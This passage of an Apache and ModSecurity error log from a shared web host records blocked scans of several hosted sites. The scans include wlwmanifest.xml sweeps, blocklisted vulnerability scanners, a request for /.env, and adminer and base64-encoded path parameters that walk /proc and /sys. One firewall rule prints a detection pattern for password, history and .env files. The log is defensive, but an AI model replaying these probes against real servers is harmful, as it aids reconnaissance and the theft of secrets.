[Sat Jun 13 18:12:02.961171 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.113:24790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:02.961613 2026] [access_compat:error] [pid 531797:tid 531905] [remote 57.141.14.113:24790] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:03.075870 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.242.16:36732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:12:03.076337 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.242.16:36732] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:12:03.241939 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:03.242408 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:03.317745 2026] [security2:error] [pid 531797:tid 531983] [remote 17.22.253.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x08TA7b1mZrmcA-8x0AACX3Y"] [Sat Jun 13 18:12:03.463159 2026] [security2:error] [pid 531797:tid 532048] [client 143.244.57.86:37776] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3x08TA7b1mZrmcA-8x0wAAAkY"] [Sat Jun 13 18:12:03.468151 2026] [security2:error] [pid 531155:tid 531279] [remote 74.7.242.16:36732] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 16.242.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.homs.co.ke"] [uri "/adminer.php"] [unique_id "ai3x0ymiP80klyS0NnoBuwABLns"], referer: https://www.homs.co.ke/?action=adminer&p=L3Byb2MvNTMxNDkxL2N3ZA== [Sat Jun 13 18:12:03.536918 2026] [security2:error] [pid 531797:tid 532079] [client 143.244.57.82:52070] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "ai3x08TA7b1mZrmcA-8x1QAAAmU"] [Sat Jun 13 18:12:03.822613 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:12:03.822966 2026] [access_compat:error] [pid 531155:tid 531177] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL2lucHV0Ni9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZQ== [Sat Jun 13 18:12:03.905401 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.63:62130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:03.905702 2026] [access_compat:error] [pid 531155:tid 531221] [remote 57.141.14.63:62130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:04.167589 2026] [security2:error] [pid 531797:tid 532064] [client 143.244.57.82:59406] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1MTA7b1mZrmcA-8x6wAAAlY"] [Sat Jun 13 18:12:04.169600 2026] [security2:error] [pid 531155:tid 531382] [client 143.244.57.86:58160] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1CmiP80klyS0NnoByQAAAWs"] [Sat Jun 13 18:12:04.277424 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.33:50233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:04.277714 2026] [access_compat:error] [pid 531155:tid 531258] [remote 57.141.14.33:50233] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:04.311611 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:04.311909 2026] [access_compat:error] [pid 531155:tid 531193] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Mi9zdWJzeXN0ZW0vaW5wdXQyL3N1YnN5c3RlbS9ldmVudDQvcG93ZXI= [Sat Jun 13 18:12:04.340206 2026] [security2:error] [pid 531797:tid 532096] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/strrchr_basic.phpt"] [unique_id "ai3x1MTA7b1mZrmcA-8x9QAAAnU"] [Sat Jun 13 18:12:04.342353 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.9:64580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:04.342838 2026] [access_compat:error] [pid 531797:tid 531876] [remote 57.141.14.9:64580] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:04.398539 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.96:49075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:04.398820 2026] [access_compat:error] [pid 531797:tid 531947] [remote 57.141.14.96:49075] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:04.498647 2026] [security2:error] [pid 531155:tid 531191] [remote 17.22.245.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.245.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x1CmiP80klyS0NnoB0gABfCM"] [Sat Jun 13 18:12:04.626261 2026] [security2:error] [pid 531155:tid 531162] [remote 17.241.75.57:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 57.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x1CmiP80klyS0NnoB1AABiAY"] [Sat Jun 13 18:12:04.701945 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.26:61416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:04.702237 2026] [access_compat:error] [pid 531797:tid 531960] [remote 57.141.14.26:61416] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:04.759979 2026] [security2:error] [pid 531797:tid 532000] [client 143.244.57.82:59408] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "mail.ypn.yno.mybluehost.me"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1MTA7b1mZrmcA-8yAAAAAhg"] [Sat Jun 13 18:12:04.774277 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:12:04.774736 2026] [access_compat:error] [pid 531155:tid 531254] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXIvc2VyaW8xL3Bvd2Vy [Sat Jun 13 18:12:04.997183 2026] [security2:error] [pid 531155:tid 531364] [client 143.244.57.86:58174] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1CmiP80klyS0NnoB2gAAAVk"] [Sat Jun 13 18:12:05.311547 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:05.311976 2026] [access_compat:error] [pid 531155:tid 531166] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9pbnB1dDQvY2FwYWJpbGl0aWVz [Sat Jun 13 18:12:05.356314 2026] [security2:error] [pid 531797:tid 531988] [remote 17.246.19.251:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 251.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x1cTA7b1mZrmcA-8yGwACX3s"] [Sat Jun 13 18:12:05.378544 2026] [security2:error] [pid 531155:tid 531395] [client 143.244.57.86:58186] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1SmiP80klyS0NnoB4gAAAXg"] [Sat Jun 13 18:12:05.398455 2026] [core:error] [pid 531797:tid 532047] [client 23.161.169.62:44888] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:05.398486 2026] [core:error] [pid 531797:tid 532047] [client 23.161.169.62:44888] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:05.407577 2026] [autoindex:error] [pid 531797:tid 532033] [client 23.161.169.62:44898] AH01276: Cannot serve directory /home2/hamaraq1/public_html/codeproblem/public_html/forum/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive [Sat Jun 13 18:12:05.506566 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.86:25522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:05.506891 2026] [access_compat:error] [pid 531797:tid 531871] [remote 57.141.14.86:25522] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:05.541295 2026] [core:error] [pid 531797:tid 532007] [client 23.161.169.62:44908] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:05.541328 2026] [core:error] [pid 531797:tid 532007] [client 23.161.169.62:44908] AH00124: Request exceeded the limit of 10 internal redirects due to probable configuration error. Use 'LimitInternalRecursion' to increase the limit if necessary. Use 'LogLevel debug' to get a backtrace. [Sat Jun 13 18:12:05.677825 2026] [security2:error] [pid 531797:tid 532057] [client 23.161.169.62:44898] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "forum.codeproblem.com"] [uri "/.env"] [unique_id "ai3x1cTA7b1mZrmcA-8yLAAAAk8"] [Sat Jun 13 18:12:05.744135 2026] [security2:error] [pid 531797:tid 531952] [remote 17.241.219.38:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 38.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x1cTA7b1mZrmcA-8yMAACK1g"] [Sat Jun 13 18:12:05.752770 2026] [security2:error] [pid 531797:tid 532108] [client 143.244.57.86:58200] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "beta.gamma.celadondragon.com"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3x1cTA7b1mZrmcA-8yMgAAAoE"] [Sat Jun 13 18:12:05.875916 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.75:30092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:12:05.876260 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:12:05.876357 2026] [access_compat:error] [pid 531797:tid 531936] [remote 57.141.14.75:30092] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:12:05.876544 2026] [access_compat:error] [pid 531155:tid 531244] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9tb3VzZTEvc3Vic3lzdGVtL2lucHV0NQ== [Sat Jun 13 18:12:05.983242 2026] [security2:error] [pid 531155:tid 531207] [remote 17.246.19.208:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 208.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3x1SmiP80klyS0NnoB7gABejM"] [Sat Jun 13 18:12:06.190240 2026] [access_compat:error] [pid 531797:tid 531866] [remote 